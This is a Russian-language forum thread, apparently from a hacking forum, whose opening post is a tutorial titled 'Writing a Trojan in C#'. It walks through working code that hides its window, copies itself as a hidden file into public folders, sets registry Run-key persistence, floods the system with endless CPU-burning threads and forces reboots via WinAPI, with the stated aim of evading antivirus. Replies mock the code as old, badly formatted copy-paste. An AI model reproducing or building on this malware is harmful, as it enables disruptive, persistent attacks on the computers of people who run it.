Загрузка...

Пишем ТРОЯН на C#

Тема в разделе C# создана пользователем w3lper 21 фев 2024. 430 просмотров

Загрузка...
  1. w3lper
    w3lper Автор темы 21 фев 2024 1 11 сен 2023
    Пишем ТРОЯН на C#

    Наши с вами цели
    • Написать вредоносную программу, которую не увидят антивирусы
    • Использовать только средства языка C#
    Нам понадобится:
    • Visual Studio 2010-2017 (я использовал 2017)
    • Знания и опыт работы на языке c#
    • Компьютер для опытов
    https://avatars.dzeninfra.ru/get-ze...8c67a788c8_5aeefe1755876b07fb256c40/scale_720 720w, https://avatars.dzeninfra.ru/get-ze...c67a788c8_5aeefe1755876b07fb256c40/scale_1200 2048w" alt="Наши с вами цели Нам понадобится: Мысли Мысль 1 На большинстве компьютеров с установленной Windows установлен framework" data-fr-src="https://avatars.dzeninfra.ru/get-ze...67a788c8_5aeefe1755876b07fb256c40/scale_1200" height="290px" width="880px" data-fr-image-pasted="true">
    Мысли

    Мысль 1
    На большинстве компьютеров с установленной Windows установлен framework не ниже 2.0, значит в проекте Visual Studio придется забыть про возможности Linq, и компилировать программу под вышеупомянутым фреймворком.
    Мысль 2
    Антивирусы реагируют на внедрения в другие файлы, замену файлов, и просто на что-то похожее с тем что есть у них в базе, значит напишем программу со всем необходимым функционалом «на борту».
    Мысль 3
    Программу нужно сделать невидимой для пользователя, готов спорить Visual Studio даст такую возможность.
    Разработка ПО

    Этап 1:
    Создаем в Visual Studio проект Windows Forms Application, даем ему название, да любое в принципе название, например «system». В настройках проекта выбираем target framework 2.0. Сохраняем, и удаляем из файлов проекта using «Linq».
    Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
    — FormBorderStyle — None
    — Opacity — 0%
    — ShowIcon — False
    — ShowInTaskbar — False

    На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее.
    Этап 2:
    На этом этапе я покажу некоторый код который понадобится. Что первым делом выполняют вирусы? Правильно лезут в автозагрузку. Для этого добавим в проект класс с названием «autorun», и обьявим метод «SetAutorunValue»
    Код:
    CSHARP
    [/B]
    public static bool SetAutorunValue(bool autorun, string npath)
    {
    const string name = "systems";
    string ExePath = npath;
    RegistryKey reg;

    reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
    try
    {
    if (autorun)
    reg.SetValue(name, ExePath);
    else
    reg.DeleteValue(name);
    reg.Flush();
    reg.Close();
    }
    catch
    {
    return false;
    }
    return true;
    }
    [B]


    Так как наше вредоносное ПО будет запускаться на Windows XP, Vista и 7, добавим в проект класс размещенный. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку.
    Далее приведен код добавляющий в автозагрузку наше приложение:
    Код:⁡
    CSHARP
    [/B]
    public static string needPatch = "C:\\Users\\Public\\";
    public Form1()
    {
    if ([URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows 7" || [URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows Vista")
    {
    autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
    //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
    }
    else
    if ([URL='https://OSVersionInfo.Name']OSVersionInfo.Name[/URL] == "Windows XP")
    {
    needPatch = "C:\\Documents and Settings\\All Users\\";
    autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
    //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
    }
    InitializeComponent();
    }
    Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load:
    [B]Код:[/B]
    if (!File.Exists(needPatch + "system.exe"))
    {
    try
    {
    File.Copy("system.exe", needPatch + "system.exe");
    File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden);

    }
    catch { }
    }
    [B]


    Программа самоскопировалась, и сделала себя скрытой.
    На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом.
    Этап 3
    Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2.
    Добавим следующий код в Form1.cs
    Код:⁡
    CSHARP
    [/B]
    public static void sys_sleep()
    {
    while (true)
    {
    Thread s = new Thread(s_b);
    s.Start();
    }
    }
    private static void s_b()
    {
    int y = 2;
    while (true)
    {
    y *= y;
    }
    }
    [B]


    С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее:
    Код:⁡
    CSHARP
    [/B]
    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    internal struct TokPriv1Luid
    {
    public int Count;
    public long Luid;
    public int Attr;
    }
    [DllImport("kernel32.dll", ExactSpelling = true)]
    internal static extern IntPtr GetCurrentProcess();
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
    [DllImport("advapi32.dll", SetLastError = true)]
    internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
    ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
    [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool ExitWindowsEx(int flg, int rea);
    internal const int EWX_REBOOT = 0x00000002;
    internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
    internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
    internal const int TOKEN_QUERY = 0x00000008;
    internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

    public static Thread thread1;
    public static void DoExitWin(int flg)
    {
    bool ok;
    TokPriv1Luid tp;
    IntPtr hproc = GetCurrentProcess();
    IntPtr htok = [URL='https://IntPtr.Zero;']IntPtr.Zero;[/URL]
    ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
    tp.Count = 1;
    tp.Luid = 0;
    tp.Attr = SE_PRIVILEGE_ENABLED;
    ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
    ok = AdjustTokenPrivileges(htok, false, ref tp, 0, [URL='https://IntPtr.Zero']IntPtr.Zero[/URL], [URL='https://IntPtr.Zero']IntPtr.Zero[/URL]);
    ok = ExitWindowsEx(flg, 0);
    }
    [B]


    Теперь опишем метод, который по таймеру будет вызывать еффекты работы нашей программы:
    Код:⁡[CODE=csharp[B]][/B][/B]
    public static void start()
    {
    Stopwatch sw = new Stopwatch();
    sw.Start();
    bool b = true;
    bool pl = false;
    while (b)
    {
    if (sw.ElapsedMilliseconds > 20000)
    {
    if (!pl)
    {
    Thread g = new Thread(sys_sleep);
    g.Start();
    pl = true;
    }
    }
    if (sw.ElapsedMilliseconds > 45000)
    {
    DoExitWin(EWX_REBOOT);
    b = false;
    }
    }
    }
    [B][/CODE]


    Метод Start() будем вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы.
    Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус.
    При запуске с флешки, программа самоскопируется, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.
     
    21 фев 2024 Изменено
  2. Doklsi
    Doklsi 21 фев 2024 Ночной лолз - это ебаный даркнет 8249 26 июн 2021
    Что за хуйню я только что увидел, бро, помести код, а то это читать невозможно
    ⁡[CODE=csharp]вот так[/CODE]
     
    1. w3lper Автор темы
      Doklsi, главное, что он работает
    2. Doklsi
      w3lper, а смысл от него собственно, малварь пишется в общем случае для финансовой выгоды
  3. FID183
    FID183 21 фев 2024 31 29 ноя 2019
    паста 6 летней давности
     
    21 фев 2024 Изменено
  4. D1STR1CT
    D1STR1CT 22 фев 2024 2 30 мар 2021
    ужасный говно код, спизженный с какой-то статьи с ебучим форматированнием
     
Top